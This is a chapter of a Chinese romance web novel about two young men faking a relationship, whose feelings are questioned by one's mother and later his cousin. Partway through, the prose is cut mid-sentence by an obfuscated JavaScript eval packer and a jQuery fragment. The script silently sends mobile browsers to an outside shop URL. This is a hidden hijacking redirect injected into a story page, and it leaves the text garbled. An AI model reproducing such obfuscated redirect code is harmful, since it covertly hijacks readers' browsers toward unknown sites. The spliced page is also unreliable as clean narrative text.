好巧不巧。
平时桑岁余跟谈宸本来都不回这栋房子,因为这栋房子已经有些年头,是他们读初高中那会儿住的,而且离他们各自的工作地都不太方便。
偏偏这栋房子又是距离婚礼现场最近的,他们离开的时候已经有点晚了,所以才打算就在这里住。
桑岁余跟谈宸的房间在楼下,而桑岁余爸妈的房间在楼上,都已经快空置好几年了。
此时面对着桑岁余略带震惊的询问,爸妈两人也稍稍镇定了下情绪,“那边处理得差不多了,便回来看看你们。”
与谈宸爸妈那股子贵气与威严比起来,桑岁余爸妈:程钰与桑知理的气质更加温和。
但即便如此,在见到两人这般纠纠缠缠的场面时,脑子里面还是不受控制的浮现出了很多猜想,夹杂着他们在海外时就已经听说的那些消息。
不动声色的深呼吸几下,程钰还是试探性询问道:“所以你们俩现在真的在恋爱对吗?”
都没等桑岁余开口,谈宸冷静的答复道:“是的阿姨。”
霎时间,桑岁余的心脏凝滞在半空,说不清楚到底是什么感觉,轻飘飘的却又沉甸甸的。
但他甚至都没时间去处理这些思绪,便瞬间警觉起来,因为他觉得自家的爸妈并没有那么好糊弄。
果不其然,在听到这肯定的话语时,程钰稍显吃惊,却没有像其他所有人那样觉得谈宸有什么问题,反倒是将目光转回到了桑岁余的身上。
瞬间桑岁余只觉得如芒在背,明明很多年都没有被妈妈问过话了,此时却依旧感受到了压迫感。
就像是在思索着什么,她并没有急着追问,反倒是道:“你们刚刚去参加婚礼了吗?是陈家的小孩结婚对吧?”
“既然回来得这么晚,你们先好好休息吧,有什么事情明天再说。”
桑岁余心头微跳,谨慎询问道:“那你们这次回来准备待多久?”
“几个月吧。”程钰温声道:“还有很多老朋友我们都想去拜访,没有那么着急。”
放过他们后,爸妈便回了二楼。
桑岁余惊疑不定的站在原地,又朝着谈宸看去,立马感受到他无声安抚的视线。
旋即后颈被温热的掌心覆盖,谈宸缓缓顺着他的脊椎替他舒缓情绪,低声问道:“你担心被阿姨盘问吗?”
桑岁余略微犹豫,“也许不能说是盘问,你又不是不知道她,三言两语可能就会看出破绽。”
只能说好在他们俩是现在才回来,而不是在自己跟谈宸刚准备演戏那会儿回来,否则还真不知道该怎么应付。
现在他都开始庆幸,被谈宸以各种手段骗着亲昵骗着训练,最起码现在他们下意识的反应看起来真像在恋爱。
“随机应变吧。”谈宸道:“剩下的明天再想。”
正如程钰所说,他们这次回来时间充足,所以第二天即便日晒三竿了他们都还在家,正在餐厅里面进食。
谈宸惦记着桑岁余可能会焦虑,原本打算醒来就去找他的,谁知道却被突如其来的工作会议耽误到现在。
他走向餐厅,却发现桑岁余竟已经在桌边坐着了,面前摆着丰盛的早餐,但是他半点都没有动。
也不知道他俩之前聊了些什么,桑岁余的睫毛低垂着,而程钰坐在对面安安静静的看他。
片刻后只听程钰问道:“你为什么会觉得自己喜欢他?”
“我无法接受他跟别人结婚。”桑岁余认真地道。
这句话清晰地落进谈宸的耳膜,竟是震得他心脏都颤动了下,无数曾经幻想过多次的画面、令他深夜辗转反侧的煎熬,也跟着缓慢浮现出来。
他不知道桑岁余这句话到底是真是假,真的有考虑过,还是只是应付母亲的理由,但对于谈宸自己而言却是极其深刻的痛苦。
跟别人结婚。
光是想到这几个字,他都快疯了。
餐厅内,桑岁余说出这句话的时候,身体微不可察地紧绷起来。
其实他有很多理由可以选择,但是经过慎重思虑,还是跟程钰说出那个最贴近他内心的答案。
昨天的婚礼看似与他无关,但确实给他造成了不可磨灭的印象,排除陆良那番话的影响,他也会不受控制的去设想,日后谈宸结婚会是怎样的场景。
自己会成为陆良那样的怨鬼吗?还是笑着祝福呢?桑岁余无从辨别,因为他震惊的发现自己内心深处竟是无法接受这点。
从才知道谈宸有喜欢的人开始,就已经诞生的那些复杂与晦暗难明,终于开始受控制的展露苗头,逼迫他不得不开始正视它们。
但是程钰听到这里,却只是轻轻看他两眼。
没人比她更了解自己的亲生儿子,在他小时候自己跟丈夫总是离家,他独自待在家里却依旧能够对很多事情都泰然自若,所有人都夸赞他独立、懂事且早熟。
然而这些洋溢着赞美的词条下面,压抑着是他天生的性格缺陷,是对于情感的淡漠与迟钝。
他在读书与学习上冰雪聪明,面对问题也总是能够以更加冷静稳定的状态去处理,却始终无法辨别清楚自己此时此刻到底是怎样的情绪。
这并非是他的问题,大概率是出自遗传,程钰跟丈夫桑知理是商业联姻,即便随着时间的推移愈发相爱,却也花了十几年的时间来坚定感情。
“我现在说的话,并非不支持你们恋爱。”程钰耐心温和地开口,“我不但支持,而且非常开心。”
“但毕竟你们俩从小关系就很好,我不得不多问几句,余余你对你自己的真实感受真的清楚吗?”
在桑岁余近乎瞳仁震颤的神情中,程钰问出最关键的问题:“在你说不接受他跟别人结婚的时候,到底是真的出自对他的爱,还只是占有欲作祟呢?”
如果非要接着辩驳下去的话,桑岁余会说占有欲也是爱意的部分。
但是他无法在程钰面前说这话,程钰会精准看穿他说这句话的意图:依旧是理智交锋与纯粹的理论指导。
好在程钰也并没有要求他立马给出答案,反而留给了他能够清清净净用餐的空间。
桑岁余胃口全无,脑子里面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783739|210076||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一会儿是对程钰这番话不甘心的对抗,一会儿却又放纵自己沉沦进丧失理性的混乱中。
还好谈宸在此时进来了,不动声色的坐在他旁边,发现他什么都没吃,低声询问了几句,又去厨房给他换了点菜。
程钰全程看着谈宸忙来忙去,就为了桑岁余能够吃进去几口。
大抵是她的视线有些明显,令谈宸感受到且朝着她看去,目光相接,程钰微微笑起来。
下午,谈宸有事得回趟公司。
桑岁余是跟他一块走的,谈宸会先开车把他送回去,然后才会离开。
其实谈宸并不放心他,提议让他跟自己去公司玩,但桑岁余的消化能力很强,现在情绪已经稳定很多。
“没事你先去吧。”桑岁余温声道:“早点处理完回来就行。”
“而且原落这两天一直在找我,说有事情让我帮忙,我下午正好去看看。”
听到这里,谈宸才微微点头,“那我晚点去他那里找你。”
原落的这件事其实已经说了很久了,但是最近桑岁余实在是抽不开身,心情到底如何跌宕起伏只有他自己清楚。
而且他其实也不想面对原落的兴奋追问,他对自己跟谈宸这么熟,指不定自己什么时候就会在他面前露馅,基本都是避着他走的。
但是都已经冷却好多天了,而且他跟谈宸还在朋友的婚礼上面对过那么大型的挑战,桑岁余自认为现在去找他没什么问题。
这几天原落忙得要死,其实也实在是抽不出精力来刨根问底了。
他跟朋友合资搞的项目就快要剪彩,但是正式开张前,他还是想要得到更多的靠谱的反馈,免得真的有问题却曝光不出来。
得知桑岁余终于肯来了,原落简直是欢天喜地,恨不得用八抬大轿的规格去迎接他。
“表哥。”但是刚见面,原落的第一反应还是看他的背后。“只有你自己吗?宸哥没来吗?”
“他公司有事。”桑岁余解释道。
说完他忽的升腾起些古怪的情绪,问道:“为什么你看到我就觉得他要来?他不能有自己的空间吗?”
“我可没说啊。”原落立马警惕起来,“明明是你俩平时不管做什么都得一起,而且都谈恋爱了那不得更没法分开吗?”
话虽如此,桑岁余还是忍不住道:“那只是大多数时候,但也有些时候我们是有自己的空间的。”
“才怪。”原落偷偷做鬼脸。
桑岁余:?
原落最终还是没控制住,“表哥你自己心里没数吗?就算你表面上不说,但是你从来不允许他有事情是你不知道的。”
“你的占有欲强的离谱好吧!而且只对宸哥哦,其他任何事情我从来都没有见过你这样。”
大抵是今早才经历过高压洗礼,桑岁余现在对占有欲这个词尤其敏感,闻言睫羽猝然颤动。
就像是有什么他从未留意过的真相,掩盖的布帘即将掀开一角,竟是带来了前所未有的震撼与冲击。
他看着原落,半天后轻轻反问:“你说什么?”